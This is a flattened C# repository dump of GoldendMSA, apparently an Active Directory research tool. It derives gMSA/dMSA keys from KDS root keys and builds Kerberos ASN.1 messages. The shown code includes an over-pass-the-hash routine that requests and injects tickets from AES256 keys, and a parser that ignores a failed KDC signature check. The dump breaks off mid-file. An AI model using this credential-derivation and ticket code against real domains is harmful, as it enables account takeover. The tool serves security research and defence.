├── assets ├── Kds.jpg ├── Info.jpg ├── Wordlist.jpg └── Bruteforce.jpg ├── GoldendMSA ├── App.config ├── packages.config ├── lib │ ├── Asn1 │ │ └── AsnException.cs │ ├── krb_structures │ │ ├── PA_KEY_LIST_REP.cs │ │ ├── KrbSubjectPublicKeyInfo.cs │ │ ├── PA_KEY_LIST_REQ.cs │ │ ├── KrbAlgorithmIdentifier.cs │ │ ├── PA_SUPERSEDED_BY_USER.cs │ │ ├── KrbAuthPack.cs │ │ ├── PA_PK_AS_REP.cs │ │ ├── PA_DMSA_KEY_PACKAGE.cs │ │ ├── LastReq.cs │ │ ├── PA_ENC_TS_ENC.cs │ │ ├── PA_PAC_OPTIONS.cs │ │ ├── KrbKDCDHKeyInfo.cs │ │ ├── ETYPE_INFO2_ENTRY.cs │ │ ├── KrbPkAuthenticator.cs │ │ ├── KERB_PA_PAC_REQUEST.cs │ │ ├── PA_PK_AS_REQ.cs │ │ ├── KrbDHRepInfo.cs │ │ ├── EncKrbCredPart.cs │ │ ├── EncryptedPAData.cs │ │ ├── EncryptionKey.cs │ │ ├── HostAddress.cs │ │ ├── EncryptedData.cs │ │ ├── AS_REP.cs │ │ ├── Ticket.cs │ │ ├── KRB_CRED.cs │ │ ├── PrincipalName.cs │ │ ├── EncKDCRepPart.cs │ │ ├── KRB_ERROR.cs │ │ ├── AS_REQ.cs │ │ ├── PA_DATA.cs │ │ ├── KrbCredInfo.cs │ │ └── KDC_REQ_BODY.cs │ └── Luid.cs ├── L0Key.cs ├── KdsUtils.cs ├── Unsafe │ └── KdsCli.cs ├── OPTH.cs ├── Properties │ └── AssemblyInfo.cs ├── MsdsManagedPasswordld.cs ├── BruteForceDMSA.cs ├── LSA.cs ├── GmsaAccount.cs ├── LdapUtils.cs ├── GoldendMSA.csproj ├── Ask.cs ├── GroupKeyEnvelope.cs ├── LdapEnumeration.cs ├── GmsaPassword.cs ├── Helpers.cs ├── GetKey.cs ├── RootKey.cs └── Cryptography.cs ├── GoldendMSA.sln ├── LICENSE ├── README.md └── .gitignore /assets/Kds.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Semperis/GoldenDMSA/HEAD/assets/Kds.jpg -------------------------------------------------------------------------------- /assets/Info.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Semperis/GoldenDMSA/HEAD/assets/Info.jpg -------------------------------------------------------------------------------- /assets/Wordlist.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Semperis/GoldenDMSA/HEAD/assets/Wordlist.jpg -------------------------------------------------------------------------------- /assets/Bruteforce.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Semperis/GoldenDMSA/HEAD/assets/Bruteforce.jpg -------------------------------------------------------------------------------- /GoldendMSA/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /GoldendMSA/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /GoldendMSA/lib/Asn1/AsnException.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | 4 | namespace Asn1 { 5 | 6 | public class AsnException : IOException { 7 | 8 | public AsnException(string message) 9 | : base(message) 10 | { 11 | } 12 | 13 | public AsnException(string message, Exception nested) 14 | : base(message, nested) 15 | { 16 | } 17 | } 18 | 19 | } 20 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/PA_KEY_LIST_REP.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Text; 4 | 5 | namespace GoldendMSA 6 | { 7 | public class PA_KEY_LIST_REP 8 | { 9 | // KERB-KEY-LIST-REP ::= SEQUENCE OF EncryptionKey 10 | 11 | public PA_KEY_LIST_REP(AsnElt body) 12 | { 13 | encryptionKey = new EncryptionKey(body); 14 | } 15 | 16 | public EncryptionKey encryptionKey { get; set; } 17 | 18 | } 19 | } -------------------------------------------------------------------------------- /GoldendMSA/lib/Luid.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace GoldendMSA 5 | { 6 | [StructLayout(LayoutKind.Sequential)] 7 | public struct LUID 8 | { 9 | public UInt32 LowPart; 10 | public Int32 HighPart; 11 | 12 | public static implicit operator ulong(LUID luid) 13 | { 14 | // enable casting to a ulong 15 | UInt64 Value = ((UInt64)luid.HighPart << 32); 16 | return Value + luid.LowPart; 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/KrbSubjectPublicKeyInfo.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | 3 | namespace GoldendMSA { 4 | public class KrbSubjectPublicKeyInfo { 5 | 6 | public KrbAlgorithmIdentifier Algorithm { get; set; } 7 | public byte[] SubjectPublicKey { get; set; } 8 | 9 | public AsnElt Encode() { 10 | return AsnElt.Make( 11 | AsnElt.SEQUENCE, new AsnElt[] { 12 | Algorithm.Encode(), 13 | AsnElt.MakeBitString(SubjectPublicKey) 14 | }); 15 | 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/PA_KEY_LIST_REQ.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Text; 4 | 5 | namespace GoldendMSA 6 | { 7 | class PA_KEY_LIST_REQ 8 | { 9 | // KERB-KEY-LIST-REQ::= SEQUENCE OF Int32 -- encryption type -- 10 | 11 | public AsnElt Encode() 12 | { 13 | AsnElt enctypeAsn = AsnElt.MakeInteger(Enctype); 14 | AsnElt enctypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { enctypeAsn }); 15 | return enctypeSeq; 16 | } 17 | 18 | public Int32 Enctype { get; set; } 19 | 20 | } 21 | } -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/KrbAlgorithmIdentifier.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System.Security.Cryptography; 3 | 4 | namespace GoldendMSA { 5 | public class KrbAlgorithmIdentifier { 6 | 7 | public Oid Algorithm { get; set; } 8 | public byte[] Parameters { get; set; } 9 | 10 | 11 | public AsnElt Encode() { 12 | 13 | AsnElt parameters = AsnElt.Decode(Parameters); 14 | 15 | return AsnElt.Make( 16 | AsnElt.SEQUENCE, new AsnElt[] { 17 | AsnElt.MakeOID(Algorithm.Value), 18 | parameters} 19 | ); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/PA_SUPERSEDED_BY_USER.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using Asn1; 6 | 7 | namespace GoldendMSA 8 | { 9 | class PA_SUPERSEDED_BY_USER 10 | { 11 | // KERB-SUPERSEDED-BY-USER::= SEQUENCE { 12 | // name[0] PrincipalName, 13 | // realm[1] Realm 14 | // 15 | 16 | public PA_SUPERSEDED_BY_USER(AsnElt body) 17 | { 18 | name = new PrincipalName(body.Sub[0].Sub[0]); 19 | realm = Encoding.UTF8.GetString(body.Sub[1].Sub[0].GetOctetString()); 20 | } 21 | 22 | public PrincipalName name { get; set; } 23 | public string realm { get; set; } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /GoldendMSA/L0Key.cs: -------------------------------------------------------------------------------- 1 | 2 | using System.Globalization; 3 | 4 | namespace GoldendMSA 5 | { 6 | /// 7 | /// This class comes from ComputeL0Key function inside KdsSvc.dll. 8 | /// It takes a RootKey structure, adds a field in the begining (L0KeyID) and modifies the KdsRootKeyData field with a value from GenerateDerivedKey. 9 | /// 10 | public sealed class L0Key : RootKey 11 | { 12 | public long L0KeyID { get; set; } 13 | 14 | public L0Key(RootKey rootKey, long l0KeyID, byte[] derivedKey) 15 | : base(rootKey) 16 | { 17 | this.L0KeyID = l0KeyID; 18 | this.KdsRootKeyData = derivedKey; 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/KrbAuthPack.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System.Security.Cryptography.X509Certificates; 3 | 4 | namespace GoldendMSA { 5 | public class KrbAuthPack { 6 | 7 | public KrbPkAuthenticator Authenticator { get; private set; } 8 | public KrbSubjectPublicKeyInfo ClientPublicValue { get; set; } 9 | public byte[] ClientDHNonce { get; set; } 10 | 11 | public AsnElt Encode() { 12 | 13 | return AsnElt.Make(AsnElt.SEQUENCE, 14 | new AsnElt[] { 15 | AsnElt.Make(AsnElt.CONTEXT,0, Authenticator.Encode()), 16 | AsnElt.Make(AsnElt.CONTEXT,1, ClientPublicValue.Encode() ), 17 | //AsnElt.Make(AsnElt.CONTEXT,2, new AsnElt[]{ CMSTypes } ), 18 | AsnElt.Make(AsnElt.CONTEXT,3, AsnElt.MakeBlob(ClientDHNonce)) 19 | }); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/PA_PK_AS_REP.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | 4 | namespace GoldendMSA { 5 | public class PA_PK_AS_REP { 6 | 7 | public KrbDHRepInfo DHRepInfo { get; private set; } 8 | 9 | public PA_PK_AS_REP(AsnElt asnElt) { 10 | 11 | if(asnElt.TagClass != AsnElt.CONTEXT || asnElt.Sub.Length > 1) { 12 | throw new ArgumentException("Expected CONTEXT with CHOICE for PA-PK-AS-REP"); 13 | } 14 | 15 | switch (asnElt.TagValue) { 16 | case 0: //dhInfo 17 | DHRepInfo = new KrbDHRepInfo(asnElt.Sub[0]); 18 | break; 19 | 20 | case 1: //encKeyPack: TODO 21 | break; 22 | 23 | default: 24 | throw new ArgumentException("Unexpected CHOICE value for PA-PK-AS-REP"); 25 | } 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /GoldendMSA/KdsUtils.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace GoldendMSA 8 | { 9 | public class KdsUtils 10 | { 11 | public static readonly long KeyCycleDuration = 360000000000; 12 | 13 | public static void GetCurrentIntervalID( 14 | long kdsKeyCycleDuration, // 360000000000 15 | int someFlag, // 0 16 | ref int l0KeyID, 17 | ref int l1KeyID, 18 | ref int l2KeyID) 19 | { 20 | long currentTime = DateTime.Now.ToFileTimeUtc(); 21 | if (someFlag != 0) 22 | { 23 | currentTime += 3000000000; 24 | } 25 | int temp = (int)(currentTime / kdsKeyCycleDuration); 26 | l0KeyID = temp / 1024; 27 | l1KeyID = (temp / 32) & 31; 28 | l2KeyID = temp & 31; 29 | 30 | return; 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/PA_DMSA_KEY_PACKAGE.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using Asn1; 6 | 7 | namespace GoldendMSA 8 | { 9 | public class PA_DMSA_KEY_PACKAGE 10 | { 11 | // KERB-DMSA-KEY-PACKAGE::= SEQUENCE { 12 | // current-keys[0] SEQUENCE OF EncryptionKey, 13 | // previous-keys[1] SEQUENCE OF EncryptionKey OPTIONAL, 14 | // expiration-interval[2] KerberosTime, 15 | // fetch-interval[4] KerberosTime, 16 | // } 17 | 18 | public PA_DMSA_KEY_PACKAGE(AsnElt body) 19 | { 20 | currentKeys = new PA_KEY_LIST_REP(body.Sub[0].Sub[0]); 21 | previousKeys = new PA_KEY_LIST_REP(body.Sub[1].Sub[0]); 22 | expirationInterval = body.Sub[2].Sub[0].GetTime(); 23 | fetchInterval = body.Sub[3].Sub[0].GetTime(); 24 | } 25 | public PA_KEY_LIST_REP currentKeys { get; set; } 26 | public PA_KEY_LIST_REP previousKeys { get; set; } 27 | public DateTime expirationInterval { get; set; } 28 | public DateTime fetchInterval { get; set; } 29 | } 30 | } 31 | 32 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/LastReq.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | using System.Text; 4 | using System.Collections.Generic; 5 | 6 | namespace GoldendMSA 7 | { 8 | public class LastReq 9 | { 10 | //LastReq::= SEQUENCE OF SEQUENCE { 11 | // lr-type[0] Int32, 12 | // lr-value[1] KerberosTime 13 | //} 14 | 15 | public LastReq(AsnElt body) 16 | { 17 | foreach (AsnElt s in body.Sub[0].Sub) 18 | { 19 | switch (s.TagValue) 20 | { 21 | case 0: 22 | lr_type = Convert.ToInt32(s.Sub[0].GetInteger()); 23 | break; 24 | case 1: 25 | lr_value = s.Sub[0].GetTime(); 26 | break; 27 | default: 28 | break; 29 | } 30 | } 31 | } 32 | 33 | 34 | public Int32 lr_type { get; set; } 35 | 36 | public DateTime lr_value { get; set; } 37 | } 38 | } -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/PA_ENC_TS_ENC.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Text; 4 | 5 | namespace GoldendMSA 6 | { 7 | //PA-ENC-TS-ENC ::= SEQUENCE { 8 | // patimestamp[0] KerberosTime, -- client's time 9 | // pausec[1] INTEGER OPTIONAL 10 | //} 11 | 12 | public class PA_ENC_TS_ENC 13 | { 14 | public PA_ENC_TS_ENC() 15 | { 16 | patimestamp = DateTime.UtcNow; 17 | } 18 | 19 | public AsnElt Encode() 20 | { 21 | AsnElt patimestampAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, patimestamp.ToString("yyyyMMddHHmmssZ")); 22 | AsnElt patimestampSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampAsn }); 23 | patimestampSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, patimestampSeq); 24 | 25 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampSeq }); 26 | 27 | return totalSeq; 28 | } 29 | 30 | public DateTime patimestamp { get; set; } 31 | 32 | 33 | } 34 | } -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/PA_PAC_OPTIONS.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using Asn1; 6 | 7 | namespace GoldendMSA 8 | { 9 | /* PA-PAC-OPTIONS ::= SEQUENCE { 10 | KerberosFlags 11 | -- Claims(0) 12 | -- Branch Aware(1) 13 | -- Forward to Full DC(2) 14 | -- Resource-based Constrained Delegation (3) 15 | } 16 | */ 17 | 18 | public class PA_PAC_OPTIONS 19 | { 20 | public byte[] kerberosFlags { get; set; } 21 | 22 | public AsnElt Encode() 23 | { 24 | List allNodes = new List(); 25 | AsnElt kerberosFlagsAsn = AsnElt.MakeBitString(kerberosFlags); 26 | kerberosFlagsAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.BIT_STRING, kerberosFlagsAsn); 27 | AsnElt parent = AsnElt.MakeExplicit(0, kerberosFlagsAsn); 28 | allNodes.Add(parent); 29 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); 30 | return seq; 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /GoldendMSA.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.8.34330.188 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "GoldendMSA", "GoldendMSA\GoldendMSA.csproj", "{9A42C0A1-4392-483D-962B-27EE765D17BA}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {9A42C0A1-4392-483D-962B-27EE765D17BA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {9A42C0A1-4392-483D-962B-27EE765D17BA}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {9A42C0A1-4392-483D-962B-27EE765D17BA}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {9A42C0A1-4392-483D-962B-27EE765D17BA}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {DD87283B-6E7F-42A3-A66C-9010E47C858D} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/KrbKDCDHKeyInfo.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | 4 | namespace GoldendMSA { 5 | 6 | public class KrbKDCDHKeyInfo { 7 | 8 | public byte[] SubjectPublicKey { get; private set; } 9 | public long Nonce { get; private set; } 10 | public DateTime DHKeyExpiration { get; private set; } 11 | public KrbKDCDHKeyInfo(AsnElt asnElt) { 12 | 13 | if(asnElt.TagValue != AsnElt.SEQUENCE) { 14 | throw new ArgumentException("Unexpected tag type for KDCDHKeyInfo"); 15 | } 16 | 17 | foreach(AsnElt sub in asnElt.Sub) { 18 | switch (sub.TagValue){ 19 | case 0: //subjectPublicKey 20 | SubjectPublicKey = AsnElt.Decode(sub.Sub[0].GetBitString()).GetOctetString(); 21 | break; 22 | case 1: //nonce 23 | Nonce = sub.Sub[0].GetInteger(0, uint.MaxValue); 24 | break; 25 | case 2: //dhKeyExpiration 26 | DHKeyExpiration = sub.Sub[0].GetTime(); 27 | break; 28 | } 29 | } 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/ETYPE_INFO2_ENTRY.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using Asn1; 6 | 7 | namespace GoldendMSA 8 | { 9 | public class ETYPE_INFO2_ENTRY 10 | { 11 | /* 12 | ETYPE-INFO2-ENTRY::= SEQUENCE { 13 | etype [0] Int32 -- EncryptionType --, 14 | salt [1] KerberosString OPTIONAL, 15 | s2kparams [2] INTEGER OPTIONAL 16 | } 17 | */ 18 | 19 | public ETYPE_INFO2_ENTRY(AsnElt body) 20 | { 21 | foreach (AsnElt s in body.Sub[0].Sub) 22 | { 23 | switch (s.TagValue) 24 | { 25 | case 0: 26 | etype = Convert.ToInt32(s.Sub[0].GetInteger()); 27 | break; 28 | case 1: 29 | salt = Encoding.UTF8.GetString(s.Sub[0].GetOctetString()); 30 | break; 31 | default: 32 | break; 33 | } 34 | } 35 | } 36 | 37 | public Int32 etype { get; set; } 38 | 39 | public string salt { get; set; } 40 | 41 | // skip sk2params for now 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/KrbPkAuthenticator.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Security.Cryptography; 4 | 5 | namespace GoldendMSA { 6 | public class KrbPkAuthenticator { 7 | 8 | 9 | public KDCReqBody RequestBody { get; private set; } 10 | public uint CuSec { get; set; } 11 | public DateTime CTime { get; set; } 12 | public int Nonce { get; set; } 13 | 14 | public AsnElt Encode() { 15 | 16 | byte[] paChecksum; 17 | 18 | using (SHA1CryptoServiceProvider sha1 = new SHA1CryptoServiceProvider()) { 19 | paChecksum = sha1.ComputeHash(RequestBody.Encode().Encode()); 20 | } 21 | 22 | AsnElt asnCTime = AsnElt.MakeString(AsnElt.GeneralizedTime, CTime.ToString("yyyyMMddHHmmssZ")); 23 | 24 | return AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { 25 | AsnElt.Make(AsnElt.CONTEXT,0, new AsnElt[] { AsnElt.MakeInteger(CuSec) }), 26 | AsnElt.Make(AsnElt.CONTEXT,1, new AsnElt[]{ asnCTime } ), 27 | AsnElt.Make(AsnElt.CONTEXT,2, new AsnElt[]{ AsnElt.MakeInteger(Nonce) } ), 28 | AsnElt.Make(AsnElt.CONTEXT,3, new AsnElt[]{ AsnElt.MakeBlob(paChecksum) }) 29 | }); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/KERB_PA_PAC_REQUEST.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Text; 4 | 5 | namespace GoldendMSA 6 | { 7 | //KERB-PA-PAC-REQUEST ::= SEQUENCE { 8 | // include-pac[0] BOOLEAN --If TRUE, and no pac present, include PAC. 9 | // --If FALSE, and PAC present, remove PAC 10 | //} 11 | 12 | public class KERB_PA_PAC_REQUEST 13 | { 14 | public KERB_PA_PAC_REQUEST(bool pac = true) 15 | { 16 | // default -> include PAC 17 | include_pac = pac; 18 | } 19 | 20 | public KERB_PA_PAC_REQUEST(AsnElt value) 21 | { 22 | include_pac = value.Sub[0].Sub[0].GetBoolean(); 23 | } 24 | 25 | public AsnElt Encode() 26 | { 27 | AsnElt ret; 28 | 29 | if (include_pac) 30 | { 31 | ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x01 }); 32 | } 33 | else 34 | { 35 | ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x00 }); 36 | } 37 | 38 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ret }); 39 | 40 | return seq; 41 | } 42 | 43 | public bool include_pac { get; set; } 44 | } 45 | } -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/PA_PK_AS_REQ.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System.Security.Cryptography; 3 | using System.Security.Cryptography.Pkcs; 4 | using System.Security.Cryptography.X509Certificates; 5 | 6 | namespace GoldendMSA { 7 | public class PA_PK_AS_REQ { 8 | 9 | public static readonly Oid IdPkInitAuthData = new Oid("1.3.6.1.5.2.3.1"); 10 | public KrbAuthPack AuthPack { get; private set; } 11 | public X509Certificate2 PKCert { get; private set; } 12 | public bool VerifyCerts { get; private set; } 13 | 14 | public AsnElt Encode() { 15 | 16 | SignedCms signed = new SignedCms( 17 | new ContentInfo( 18 | IdPkInitAuthData, 19 | AuthPack.Encode().Encode() 20 | ) 21 | ); 22 | 23 | var signer = new CmsSigner(PKCert); 24 | if(!VerifyCerts) 25 | { 26 | signer.IncludeOption = X509IncludeOption.EndCertOnly; // only the end certificate is included in the X.509 chain information. 27 | } 28 | signed.ComputeSignature(signer, silent: false); 29 | 30 | return AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { 31 | // SignedAuthPack must be implict for wireshark 32 | AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, AsnElt.MakeBlob(signed.Encode())) 33 | }); 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /GoldendMSA/Unsafe/KdsCli.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace GoldendMSA.Unsafe 9 | { 10 | public static class KdsCli 11 | { 12 | [DllImport(@"kdscli.dll", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.StdCall)] 13 | public static extern uint GenerateKDFContext( 14 | byte[] guid, // KDS Root Key identifier 15 | int contextInit, 16 | long contextInit2, 17 | long contextInit3, 18 | int flag, 19 | out IntPtr outContext, 20 | out int outContextSize, 21 | out int flag2); 22 | 23 | 24 | [DllImport(@"kdscli.dll", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.StdCall)] 25 | public static extern uint GenerateDerivedKey( 26 | string kdfAlgorithmId, 27 | byte[] kdfParam, 28 | int kdfParamSize, 29 | byte[] pbSecret, 30 | long cbSecret, 31 | byte[] context, 32 | int contextSize, 33 | ref int notSure, 34 | byte[] label, 35 | int labelSize, 36 | int notsureFlag, 37 | [MarshalAs(UnmanagedType.LPArray)] byte[] pbDerivedKey, 38 | int cbDerivedKey, 39 | int AlwaysZero); 40 | 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /GoldendMSA/OPTH.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | 4 | namespace GoldendMSA 5 | { 6 | 7 | public class OPTH 8 | { 9 | 10 | public static int Over_pass_the_hash(string username, string domainName, string aes256, bool ptt, bool verbose ) 11 | { 12 | 13 | Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; 14 | Interop.KERB_ETYPE suppEncType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; 15 | 16 | try 17 | { 18 | byte[] response = Ask.TGT(username, domainName, aes256, encType, ptt, suppEncType, verbose); 19 | if (response.Length > 300) // random number that I chose to check if there is a ticket 20 | { 21 | return 1; 22 | } 23 | } 24 | catch (KRB_ERROR ex) 25 | { 26 | if (verbose) 27 | { 28 | 29 | try 30 | { 31 | 32 | Console.WriteLine("\r\n[X] ERROR : {0}: {1}\r\n", (Interop.KERBEROS_ERROR)ex.error_code, ex.e_text); 33 | 34 | 35 | } 36 | catch 37 | { 38 | Console.WriteLine("\r\n[X] ERROR : {1}\r\n", (Interop.KERBEROS_ERROR)ex.error_code); 39 | } 40 | } 41 | } 42 | return 0; 43 | 44 | } 45 | 46 | 47 | } 48 | 49 | } -------------------------------------------------------------------------------- /GoldendMSA/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Golden MSA")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Golden MSA")] 13 | [assembly: AssemblyCopyright("Copyright © 2025")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("9a42c0a1-4392-483d-962b-27ee765d17ba")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/KrbDHRepInfo.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Security.Cryptography; 4 | using System.Security.Cryptography.Pkcs; 5 | 6 | namespace GoldendMSA { 7 | public class KrbDHRepInfo{ 8 | public byte[] ServerDHNonce { get; private set; } 9 | public byte[] DHSignedData { get; private set; } 10 | public KrbKDCDHKeyInfo KDCDHKeyInfo { get; private set; } 11 | 12 | public KrbDHRepInfo(AsnElt asnElt) { 13 | 14 | if(asnElt.TagValue != AsnElt.SEQUENCE) { 15 | throw new ArgumentException("Expected SEQUENCE for type DHRepInfo"); 16 | } 17 | 18 | foreach(AsnElt seq in asnElt.Sub) { 19 | switch (seq.TagValue) { 20 | case 0: //dhSignedData 21 | DHSignedData = seq.GetOctetString(); 22 | SignedCms cms = new SignedCms(); 23 | cms.Decode(DHSignedData); 24 | 25 | try { 26 | cms.CheckSignature(true); 27 | } catch (CryptographicException) { 28 | Console.WriteLine("[!] DHRepInfo Signature Not Valid! - Do you even care?"); 29 | } 30 | 31 | KDCDHKeyInfo = new KrbKDCDHKeyInfo(AsnElt.Decode(cms.ContentInfo.Content)); 32 | break; 33 | 34 | case 1: //serverDHNonce 35 | ServerDHNonce = seq.GetOctetString(); 36 | break; 37 | } 38 | } 39 | } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/EncKrbCredPart.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | using System.Collections.Generic; 4 | 5 | namespace GoldendMSA 6 | { 7 | //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { 8 | // ticket-info [0] SEQUENCE OF KrbCredInfo, 9 | // nonce [1] UInt32 OPTIONAL, 10 | // timestamp [2] KerberosTime OPTIONAL, 11 | // usec [3] Microseconds OPTIONAL, 12 | // s-address [4] HostAddress OPTIONAL, 13 | // r-address [5] HostAddress OPTIONAL 14 | //} 15 | 16 | public class EncKrbCredPart 17 | { 18 | public EncKrbCredPart() 19 | { 20 | // TODO: defaults for creation 21 | ticket_info = new List(); 22 | } 23 | 24 | public AsnElt Encode() 25 | { 26 | // ticket-info [0] SEQUENCE OF KrbCredInfo 27 | // assume just one ticket-info for now 28 | // TODO: handle multiple ticket-infos 29 | AsnElt infoAsn = ticket_info[0].Encode(); 30 | AsnElt seq1 = AsnElt.Make(AsnElt.SEQUENCE, new[] { infoAsn }); 31 | AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq1 }); 32 | seq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, seq2); 33 | 34 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq2 }); 35 | AsnElt 